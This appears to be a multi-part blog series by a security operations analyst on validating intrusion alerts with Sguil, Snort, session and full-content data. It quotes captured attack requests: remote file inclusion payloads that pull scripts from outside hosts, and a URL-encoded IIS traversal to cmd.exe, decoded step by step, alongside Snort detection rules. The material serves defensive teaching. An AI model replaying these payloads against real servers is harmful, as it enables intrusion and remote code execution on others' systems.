Ayoi’s

OK this is the third part of this title. I am suppose to give trainings regarding log analysis and events or incidents validation. Actually I planned to publish this post as soon as the 2nd part finished but alas I have few obligations that require my full attention (and even I am only half way of completing my so called whitepapers).

So far the main things that I always ranting/mumbling/complaint about is the lack of neccessary data to assist me in validating incidents. While at The Client site, I realized this “handicap” when The Client asking me regarding the validity of the incidents or events.

“Cemane kita tau attempt ni successful or not?” (how do we know whether the attempt is successful or not)

“Ape lagi yang dia buat actually?” (What did the attacker do actually?)

“When did the attack start?”

“Apsal the hacker attack subdomain instead of the main domain?”(Why did the hacker attack the subdomain instead of the main domain?)

(ok this question is lil bit funny for me to answer, usually I just answer “This question, you have to ask the attacker himself. I am no jedi master to know what are his intentions”

All the questions (ok excluding the last one) can be answered with the assistance of full content, session and alerts data. The events/incidents validation process will become more reliable, more trustworthy and I think less debatable instead of searching all the related alerts only based on the attackers IP. We may list down all the alerts related to the attacker but can we identify when the exact time or the exact alerts showing that the attacker successfuly penetrated the victim? Like I said, validating incidents/events or alerts based only the alerts information is more likely a guessing game.

Now let me show you why having those data are really important.

As I dun have any port mirroring privilleged to sniff any other network, so I just let my sensor do the attacking.

I have sguil 0.6.1 (server and sensor including the agents), mysql 5.0.33, snort 2.6.1.2 installed on one machine (FreeBSD 6.2 Release). Why FreeBSD? because of ports. TQ (I am a lazy brat ok?),

The targeted system is using FreeBSD 6.1, with Mysql 4.1, apache 1.3.37.

So I did make some simulation attack on my vmware by using nikto and remote file inclusion.

Here is the list of alerts generated by those activities. (My sguil client run on windows XP)

Lil bit explanation on the interface. ST = Status (where RT = Real Time); CNT = Count; Sensor = sensor name; Alert ID; Date/Time; Src IP = Source IP; SPort = Source Port; Dst IP = Destination IP; DPort = Destination Port; Pr = Protocol(Where 6 = TCP; 17 = UDP; 1 = ICMP)

You can see that on the lower left hand side, there’re tabs for IP Resolution (Src and Dst), Sensor Status (Sensor ID, Sensor, Last Alert, Agent and BY = Barnyard), Snort Statistics (Sensor ID, Sensor, Packet Loss -%, Average Bandwidth -Mb/s, Alerts - per second, Packets - k/sec, and Bytes - /packet), System message and User message.

On the lower right hand side you can see the packet details including the payload. You can see the rules detail as well.

Now let us concentrate on Alert ID 1.254 = WEB-PHP Remote include path.

It seems that there are 35 remote file inclusion attempts from 192.168.2.110 to 192.168.2.127. Let us see the correlated events

the details of the events

And this is the payload

GET /mambo/index.php?_REQUEST=&_
REQUEST%5boption%5d=com_content&
_REQUEST%5bItemid%5d=1&GLOBALS=&
mosConfig_absolute_path=http://1
92.168.2.123/files/indon.txt?? H
TTP/1.1..User-Agent: Mozilla/5.0
(compatible; Konqueror/3.5; Fre
eBSD) KHTML/3.5.5 (like Gecko)..
Accept: text/html, image/jpeg, i
mage/png, text/*, image/*, */*..
Accept-Encoding: x-gzip, x-defla
te, gzip, deflate..Accept-Charse
t: iso-8859-1, utf-8;q=0.5, *;q=
0.5..Accept-Language: en..Host:
192.168.2.127..Connection: Keep-
Alive….

From the payload itself we can identify that the attacker is trying to exploit the MOS bugs and GLOBAL overwrite issues. Again, the basic question arises here. Is 192.168.2.127 vulnerable to the attack? Is the attack successful?

That’s the beauty of using sguil as currently it does collect session data by using SANCP (Security Analyst Network Connection Profiler) , full content data (with the log_packet.sh) and of cause alerts data from snort itself. So far I haven’t seen any other applications that do the same thing. Maybe in the future we can try to include these data collection mechanism into our systems.

For our case, we can just retrieve the communication transcript for the event. And below is the result :

It seems that the attacker is trying to execute cmd.exe over http but the server give a 404 response meaning the attempt is not successful

But for the mambo inclusion attempt it seems that the server is vulnerable to the attack. See the 200 response. You can refer here to read about apache server status.

You can see that the attacker is executing the ls command as well

Or you can also use wireshark to see the content of the communication. Follow the stream bebeh

You might ask me when did i used the session data? I will use that when I try to locate one particular IP from others. (In this simulation there’re only 2 IP) It is more to identify the communication that might not triggered the alert besides to look what other conversation that the source/dst ip might get involved besides the ones that triggered the alert.

I do wish that somebody who is willing to correct me or introduce the other method of validating incidents/events or alerts.

This is the continuity from the last post. It doesn’t matter whether ur using acid, base, any SIEM/SEM and if you fail to manipulate/using/exploit/understand/interprate all the data available at your disposal, validating intrusion / extrusion incidents is probably nearly impossible.

For acid as example, there’re lots of information regarding the current day’s event on its main page. You can see the Last 10 high priority alerts, Traffic profile by protocol, snapshot and many others.

Traffic Profile by protocols

Last 10 High Priority Alerts

Snapshot

And we may select any alerts to be presented the alert individual page.

I guess many others SIEM/SEM basically have the same features as this one or maybe perhaps few additional features as well. Again the question is how can we possibly use all the information provided by this SIM/SEM/SIEM? Depending ONLY with these alerts information in order to validate incident is tough job (do I sound redundant here?)

Just imagine, the only info that u have are all the information related to the IP and TCP. The header length, options, flags and others besides the payload which I do think is the nearest thing to the full content data (also depends on the snaplength as well). For web application attack, IMHO session and full content is important. For session, mainly to gather the information on the conversation between the attacker and the victim, I mean that including the flags, options, size and many others. For example like one incident posted in SANS Internet Storm Centre forum, and this event commented or analyzed by Mr Richard Bejtlich in his blog titled Nothing to See Here , based on the conversation data recorded, it seems that the supposed to be “attacker” is actually the victim. Why? Based on the tcp flags involved in the conversation where the “attacker” actually replying to the source. Take note of the SYN ACK flags from the “attacker”. Unless the “attacker” sending too much SYN or SYN RST (I think a server, esp web server shud not initiate any connection. Correct me if I am wrong) Then we can consider the “attacker” is actually the real attacker.

Full content data will tell us how the server responding to the request by the client. For remote file inclusion as example, any request to include a remote file to the vulnerable path of the server’s application either successful or failed. 404 or 200. Ok not as simple as that but that kind of information can saves a lot of time in validating that kind of attack to our web server. Agree?

GET /cgi-bin/pemasaran/admin/admin_topic_action_logging.php?setmodules
=attach&phpbb_root_path=http://mail.wtg.lviv.ua/c.txt? HTTP/1.1
Connection: close
Host: www.test.com
User-Agent: libwww-perl/5.803

Tell me how can you validate this remote file inclusion attempt based on this info? You received 200 Web-PHP remote include path (remote file inclusion) alerts and all you have is this kind of payload to assist your analysis.

Ok you might want to know exactly what the attacker intended to do the the webserver by downloading his script. Based by this payload you might want to retrieve the file from http://mail.wtg.lviv.ua/c.txt. But remember if the attacker is lil bit clever, he might remove that script once he either successfully include the file or failed. If that file removed, we don’t have any clue at all right? (Besides scouring the webserver directories - basically or usually in /tmp) But what if he didn’t put it there? Might start scratching your head

Or maybe we can identifying whether the path that he tried to exploit exist or not in the webserver. As example based on the payload we might want to identify whether the directory (/cgi-bin/pemasaran/admin/) or the file (admin_topic_action_logging.php?) exits. If the path is incorrect or the file didn’t exist, we can expect the attempt is not successful. But how long does it take to validate this kind of attempt when the attacker attempted to include in different files and different path?

That’s why IMHO depending ONLY with this kind of information will make our job nearly impossible and time wasting.

Next posting I will show you the beauty of having the session, full content and alert data in validating events or incidents. Sguil rocks!

How many times that we who work at the SOC find that it’s damn hard to validate an incident? Let say that we received one alerts; WEB-PHP remote include path (my fav),

1st let us see the rules. This is to know how the hell the alert triggered;

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”WEB-PHP remote include path”; flow:established,to_server; uricontent:”.php“; content:”path=“; pcre:”/path=(http|https|ftp)/i“; classtype:web-application-attack; sid:2002; rev:5;)

So, usually we will see the payloads and try to identify what is actually happening;

GET /mambo/index.php?_REQUEST=&_REQUEST%5boption5d=com_content
&REQUEST%5bItemid%5d=1&GLOBALS=&osConfig_absolue_path=http
://192.168.2.123/files/indon.txt?? HTTP/1.1..User-Ag
ent: Mozilla/5.0(compatible; Koqueror/3.5; FreBSD) KHTML/3.5. (like Gecko)..
Accept: text/html, image/jpeg, image/png, text/*
, image/*, */*..
Accept-Encoding:x-gzip, x-deflate, gzip, deflate..Accept-Charset: iso-8859-1,
utf-8;q=0.5, *;q=0.5..Accept-Language: en..Host:192.168.2.127
..Connection: Keep-Alive….

What else can you do? Besides identifying the targeted system’s operating system and applications, how can we sure that whether this attack is successful or not?

Same as this alert : WEB-IIS cmd.exe access. See the rules;

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”WEB-IIS cmd.exe access”; flow:to_server,established; uricontent:”cmd.exe“; nocase; classtype:web-application-attack; sid:1002; rev:8;)
and see the payload ;

GET /%73cr%69%70t%73/t%72%61de%63%6c%69.%64%6cl?t%65m%70late=
%6eone%78%69st%66%69le?te%6d%70la%74%65=%2e.\..%5c%2e.
%5c.%2e\%2e.\%77%69%6ent%5c%73%79%73%74%65%6d%33%32%5ccm%64.e
%78%65%3f/c%2bd%69%72 HTTP/1.0..
Connection: Keep Alive..Content-Length: 0..User-Agent: Mozilla/4.75..Host: 192.168.2.127….

You might wonder how the hell the alert triggered? It seems that there’s no cmd.exe existed in the payload. Actually there is. Basically the attacker using the availabality of url encoding instead of directly type in “cmd.exe”. Even though url specification (RFC 1738) states that “…Only alphanumerics [0-9a-zA-Z], the special characters “$-_.+!*’(),” and reserved characters used for their reserved purposes may be used unencoded within a URL.” HTML otherwise allows the entire range of the ISO-8859-1 (ISO-Latin) character set to be used in documents - and HTML4 expands the allowable range to include all of the Unicode character set as well. In the case of non-ISO-8859-1 characters (characters above FF hex/255 decimal in the Unicode set), they just can not be used in URLs, because there is no safe way to specify character set information in the URL content yet [RFC2396.]

You can read further on url encoding here.

So basically the input of

/%73cr%69%70t%73/t%72%61de%63%6c%69.%64%6cl?t%65m%70late=
%6eone%78%69st%66%69le?te%6d%70la%74%65=%2e.\..%5c%2e.
%5c.%2e\%2e.\%77%69%6ent%5c%73%79%73%74%65%6d%33%32%5ccm%64.e
%78%65%3f/c%2bd%69%72

will be parsed as

scripts/tradecli.dll?template=nonexistfile?template=..\..\..\..\..\winnt\system32\cmd.exe?+dir

%73 =s; %69 =i; %70 =p; %73 =s; %72 =r; %61 =a; %63 =c; %6c =l; %69 =i; %64 =d; %6c= l; %65 =e;
%70 =p; %6e =n; %78 =x; %69 =i; %66 =f; %69 =i; %6d =m; %70 =p; %74 =t; %65 =e; %2e = .; %5c =\;
%2e =.; %5c =\; %2e =.; %2e =.; %77 =w; %69 =i; %6e =n; %5c =\; %73 =s; %79 =y; %73 =s; %74 =t;
%65 =e; %6d =m; %33 =3; %32 =2; %5c =\; %64 =d; %78 =x; %65 =e; %3f =?; %2b =+; %69 =i; %72 =r.

Again back to the question whether the assets that we monitored vulnerable to this kind of attack? It’s not a big problem if our assets Operating System are Unix Based or Unix variant but whut if they are using Windows based with IIS as their web engines?

The key information that we need in order to validate this kind attack is how the server respond to this kind of request.

How can we get such information? I will touch that on the second part of this topic

~DISCLAIMER~

~In no way I am trying to impose my belief/opinion/views on you. I also never ever state or mention that I am damned good in this field and my belief/opinion/views are always correct. Security is an ongoing, evolving process where IMHO if you do feel that you are satisfied with your current knowledge, you’ll be obsolete before u even can say “berak”. I always promoting knowledge sharing and every opinion, comments, views are always welcome. Thank you for reading and your feedbacks.~

I used to post regarding how me and my team of analysts had to monitor the network, identify threat (structured and unstructured threat. But most of the time the latter). Even tho we do have the information on the assets that we monitored but after sometimes the info turn out to be damned obsolete. That’s why I always tell my analysts that we are  miracle workers. Why?

a). The Client feels like they simply just dun have to inform us whenever new asset added into the DMZ.

b). They change their range of IP without informing us. As a result their asset didn’t registered in the IDS.

c). No strict policy. I’ve encountered a case where a workstation bypassed the firewall and has direct connection to the router.

d). “Saya ingat IP (private) ni boleh bubuh ikut suka je?” “I thought that we just simply put any number for IP(private)” 

e).  Incompetent Network Administrator (sorry to say this). But that happened a lot!

f). No further data available to support our analysis.

The list can go on and on but I better shud stop it at (f).

Monitoring this kind of network is tiring, troublesome(trust me). How do you monitor a network that you dun even know/have the correct information? IMHO it shud be:

A. DMZ

a). Information on the asset

i). Hardware

ii). Software -     Operating System (version, service packs)
Services provided by the asset

Application that provide that services (including the version)

iii). IP address - Public and Private

iv). It would do no harm if we can get the info whether the asset will be maintained remotely or not. If yes then we shud ask on which IP or IP range that would be used in mantenance process.
Any other info needed?

~DISCLAIMER~

~In no way I am trying to impose my belief/opinion/views on you. I also never ever state or mention that I am damned good in this field and my belief/opinion/views are always correct. Security is an ongoing, evolving process where IMHO if you do feel that you are satisfied with your current knowledge, you’ll be obsolete before u even can say “berak”. I always promoting knowledge sharing and every opinion, comments, views are always welcome. Thank you for reading and your feedbacks.~
While I can post something useful (now in the process of collecting necessary data/materials -Ok OK I’ve used this excuse before), perhaps I shud try to tell you guys why I chose and believe NSM is so far the best practice for a security analyst.

During my service years at The Client side, me and my team of analysts had to monitor few hundreds of assets located in The Client DMZ. With few hundred of alerts everyday, we have to properly study/analyze the alerts available and most of the time the alerts will be scrutinized/analyzed/studied based on its priorty, trend and the importance and sensitivity of the assets’ data. At the beginning, it seems like having alerts data is sufficient in analyzing any possible threat or anomaly in the network traffic.

But when I encountered my 1st incident, where one of The Client’s webserver has been defaced, I realized that depending only one source of data in identifying intruders/detecting threat is troublesome and time wasting. The situation is like this :

The webserver’s website was defaced on certain date (around few days back), no information on the attacker/defacer, no information on the exact time the event happened and the method of defacement. And the best part is we only know the website defaced thru zone-h (oyeh). I was given the task to identify the intruder (src IP, location, etc), find the time where the attack exactly happened (the time when the intruder do his reconnaisance, launch his attack, the time when the site defaced) and of cause how the intrusion happened based soley on our IDS.

So the only information that I had at that time is the webserver IP, and the date it happened (I believe the date shown at zone-h is the date of the defacement reported or verified?). I dun know bout you guys but for me to perform the task with that kind of information is like finding the thief/thieves who broke into your house while you’re not at home for a long time and without the benefits of cctv etc.

I did ask the network administrator to at least give me his webserver logfiles (because he did mention that he think(?) someone having unauthorized ftp session to his webserver). The purpose for asking the log files :

a). To identify who accessing that website (at least from access_log many info can be gathered)

b). At least I can find any unusual request/activity/process from and to the webserver)

But alas, no logfiles received (the network admin dun know how to copy that file and send it to me.)

At the end all I can do was finding/compiling all high and medium priority alerts (especially regarding WEB)within the time frame(I just put 10 days before the date of the defacement reported/verified to zone-h), and making the best guess. I know it’s not rite but my guess is based on the event/alerts triggered within the time frame, the frequency of the alerts, the payloads and the the source IP. I have to admit I do feel stupid when I submit the report on the incident.

For most of the time, the questions that The Client will ask when incidents happen ;

“When did this intrusion happen?”

“what did he do? / What are the damage?”

“When does it happen?”

Ok ok, to put it simple, let say one day you discovered that somebody doing vulnerability scanning on your network. Of cause IDS will trigger quite huge sum of alerts. (I did some test with nessus scanning using around 15K plugins and its activity generate/trigger aroung 1600++ alerts). But how can we advice our client whether the scanning successful or not?

Same as when one of the famouse alerts =cmd.exe related alerts. You see the alerts, but how do you know that cmd.exe executed successfully over http?

Any ideas?